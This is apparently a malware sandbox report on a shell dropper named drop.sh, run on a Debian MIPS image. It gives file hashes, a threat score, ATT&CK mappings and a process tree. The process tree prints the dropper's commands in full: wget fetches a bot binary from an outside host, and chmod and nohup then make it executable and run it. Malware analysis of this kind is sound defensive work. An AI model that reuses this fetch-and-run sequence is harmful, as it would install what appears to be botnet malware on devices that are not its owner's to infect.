f009585013cc547ee1acb1329f1996ff257ac7feb197ea296003d66af78d3a76

Analysis

max time kernel
44s
max time network
46s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
13/11/2026, 09:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
drop.sh
Size 1KB
Sample261113-k9n8lasz2r
SHA256 f009585013cc547ee1acb1329f1996ff257ac7feb197ea296003d66af78d3a76
MD5 48f7db0d6f6ce6cd8eae99f6d939c023
SHA1 27dd5fb43da6f635a812e5c794ac9a7c04f234da
SHA512 7b547aa4f9cb0b1afe1087e23f8f775ae72c5e4e9a3c35d23d8559a607123f573f296d32c4539fef17a8340ce2581f7547dd92e736b82120aaaaca588914b984
TLSH
T19E210C9746160933A0288D9167DEB5EAF74B50EBADCCEDB0F0217C192B4ED20B030322
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
736	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/bot	738	nohup

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
718	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	wget

/tmp/drop.sh
/tmp/drop.sh
1⤵
PID:712
- /bin/uname
  uname -m
  2⤵
  PID:714
- /bin/rm
  rm -f bot
  2⤵
  PID:716
- /usr/bin/wget
  wget -q -O bot http://ssh-node.hrtb.wreath.website:8070/binarys/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /bin/sleep
  sleep 1
  2⤵
  PID:739
- /usr/bin/nohup
  nohup ./bot
  2⤵
  - Executes dropped EXE
  PID:738
- /tmp/bot
  ./bot
  2⤵
  PID:738
- /bin/rm
  rm -f bot
  2⤵
  PID:745

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /tmp/bot
Size 115KB
SHA256 a4981f2780a901230850752ec400345826f448c79f9cab67536b0238eabfc218
MD5 1b1619db8aebb912d691e43c5c85eabf
SHA1 ce9a34f1c8df5727ef53660884787f9cb12e749a
SHA512 e60ed41e170738d4cdc0f03f98539903572837111b05babe815aeddd148e69fe6f4a4ad8f08456409e9ecad64adf95259979574ce113fe5f101d0dd7c7ad6351
SSDEEP 1536:l0orqSeDK41NmBU6X7KZMuZ1e6to48Dn6bH0WFA+qhE:6QqSe+414U6X7CvLe7iUWFA+f
TLSH
T1CBC38279BA10EF7FC01E92306873CB9046D12DB52D91557E32A4D79C2E3119B2B1BAE4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download